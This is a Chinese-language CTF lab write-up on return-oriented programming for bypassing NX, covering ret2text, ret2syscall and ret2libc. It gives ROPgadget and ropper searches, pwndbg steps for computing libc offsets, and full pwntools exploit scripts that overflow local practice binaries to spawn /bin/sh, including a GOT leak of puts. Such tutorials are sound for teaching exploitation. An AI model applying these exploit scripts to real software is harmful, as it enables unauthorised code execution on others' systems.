pwn3-绕过防御-ROP(1)

**ROP:**全程Return Oriented Programming(面向返回的编程),在栈溢出基础上,利用程序中已有的小片段(gadgets),改变寄存器或变量的值,从而控制程序执行流程,从而绕过NX防御,常见有ret2text,ret2syscall,ret2libc(最常用)…

**gadgets:**以ret结尾的指令序列,通过这些序列可以修改某些地址的内容。

ROP攻击满足的条件:

1.存在溢出,且可以控制返回地址

2.满足条件的gadgets。

工具:ROPgadget,ropper

方法

ROPgadget --binary file --only "pop|ret"
ropper -f ./ file --search "pop|ret"

ret2text

ret2text:控制已有代码,获得shell;

查看防护;

pwn3-绕过防御-ROP(1)_第1张图片

开了NX,没法用shellcode攻击。

ida查看源码

pwn3-绕过防御-ROP(1)_第2张图片

溢出地址;

在这里插入图片描述

偏移有了。

exp:

from pwn import *
p=process("./ret2text")
p.recvuntil("do you know anything?\n")
payload=b"a"*112+p32(0x804863a)
p.sendline(payload)
p.interactive()

ret2syscall

执行gadgets改变寄存器的值;

间接执行execve(“/bin/sh”,NULL,NULL)

32位:

1.eax=0xb

2.ebx为"/bin/sh"字符串地址

3.ecx,edx设为0;

常用gadgets:

pop eax;ret;

pop ebx;ret;

pop ecx; pop edx; ret;

int 0x80;

64位

1.rax=0x3b

2.RDI为"/bin/sh"字符串地址

3.RSI,Rdx设为0;

常用gadgets:

pop rax;ret;

pop rdi;ret;

pop esi; pop rdx; ret;

syscall;

ropper -f ./ret2syscall --search "int 0x80"

先查找是否存在系统调用

pwn3-绕过防御-ROP(1)_第3张图片

存在系统调用,查找“pop和ret”

ropper -f ./ret2syscall --search "pop|ret"

pwn3-绕过防御-ROP(1)_第4张图片

找到了一条比较简单的可以更改eax的指令;

pwn3-绕过防御-ROP(1)_第5张图片

还有一条一次性更改三个寄存器的值的.

容易调试出

exp:

from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal','-x','sh','-c']
p=process("./ret2syscall")
pop_eax_ret=0x080bb196#更改eax指令的地址
pop_edx_ecx_ebx_ret =0x0806eb90
int_0x80 = 0x08049421
bin_sh_addr = 0x80be408#该字符地址在ida中可查
payload = b"a"*112 + p32(pop_eax_ret) #首先112个字符偏移,后面跟上eax赋值的地址
payload += p32(0xb) + p32(pop_edx_ecx_ebx_ret) #再跟上0xb赋值给eax,然后是edx ecx ebx ret的操作地址
payload += p32(0) + p32(0) + p32(bin_sh_addr)#按照指令操作的顺序,edx ecx赋值0,ebx位/bin/sh地址。
payload += p32(int_0x80)#再加上系统调用指令的地址

p.sendline(payload)
p.interactive()



ret2libc

控制函数执行libc(动态链接库)中的函数,通常是返回某个函数的plt处或者函数的实际地址。

执行system(“/bin/sh”),要知道system地址,即字符串地址;

32位程序栈中,函数地址后面紧跟返回地址,然后是参数。

pwn3-绕过防御-ROP(1)_第6张图片

64位同样遵循,但是64位中前六个参数会依次放入RDI,RSI,RDX,RCX,R8,R9等,第7个才会入栈。

32位有system调用,有字符串

ida分析,有gets溢出,有system函数调用,还有字符串。

pwn3-绕过防御-ROP(1)_第7张图片

pwn3-绕过防御-ROP(1)_第8张图片

checksec发现打开了NX防护,没法对内存操作;

溢出知偏移为120;

看一下system的plt地址

pwn3-绕过防御-ROP(1)_第9张图片

system_plt=0x8048460

字符串地址

add=0x8048720

exp:

from pwn import *
p=process("./ret2libc1")
payload=b"a"*112+p32(0x8048460)+b"xxxx"+p32(0x8048720)

p.sendline(payload)
p.interactive()

无system调用,无字符串

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

p = process("./ret2libc2")
if args.G:
    gdb.attach(p)

gets_plt = 0x8048440
puts_plt = 0x8048460#puts函数地址
main_addr = 0x8048618
puts_got = 0x804a018
#不知道sysyem函数地址,想办法泄露sys地址,通过程序中任意一个输出函数,输出函数的got表,got表存放函数的真实地址,可以通过pwngdb>got看到,会显示运行过的函数地址

p.recvuntil("Can you find it !?")
payload = b"a"*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
#返回地址设为puts函数,然后执行main函数,puts_got作为puts函数的参数输出
p.sendline(payload)

puts_addr = u32(p.recv(4))
#接受输出的puts函数在got表中的地址
libc_addr = puts_addr - 0x67d90
#libc中的相对偏移地址不会变,所以得到了此次的puts地址减去这个固定偏移量就知道libc的地址
system_addr = libc_addr + 0x3d3d0
#libc地址家加上system函数的偏移就可以得到
bin_sh_addr = libc_addr + 0x17e1db
#同理
success("puts_addr: " + hex(puts_addr))
success("system_addr: " + hex(system_addr))
success("bin_sh_addr: " + hex(bin_sh_addr))

p.recvuntil("Can you find it !?")
payload1 = b"a"*104 + p32(system_addr) + b"xxxx" + p32(bin_sh_addr)
#直接找函数地址的exp写法
#payload1 = b"a"*104 + p32(gets_plt) + p32(system_addr) + p32(0x804a020) + p32(0x804a020)
#另外一种写法
p.sendline(payload1)
'''
sleep(0.2)
p.sendline("/bin/sh\x00")
'''
p.interactive()

查看函数真实地址

got

pwn3-绕过防御-ROP(1)_第10张图片

后面的就是函数真实地址,再查找libc的基地址

vmmap

pwn3-绕过防御-ROP(1)_第11张图片

基地址为0xf7ddd000

例如printf的偏移为0x51520

p/x 0xf7e2e520-0xf7ddd000

找到system此时got表的地址

p system

pwn3-绕过防御-ROP(1)_第12张图片

为0xf7e1a3d0,由此可以得到system的偏移

p/x 0xf7e1a3d0-0xf7ddd000
$9 = 0x3d3d0

puts的偏移

pwndbg> p/x 0xf7e44d90-0xf7ddd000
$7 = 0x67d90

字符串偏移

pwndbg> search "/bin/sh"
Searching for value: '/bin/sh'
libc-2.27.so    0xf7f5b1db das  /* '/bin/sh' */
pwndbg> p/x 0xf7f5b1db-0xf7ddd000
$10 = 0x17e1db

总结:首先找到任意函数的got表,这里用的是puts_got,然后用改函数真实地址减去libc基地址得到一个偏移,那么在程序中,我们就可以通过得到改函数got表地址减去偏移,得到libc基地址。找到system偏移地址,找到字符串偏移地址。

你可能感兴趣的:(pwn,开发语言,linux)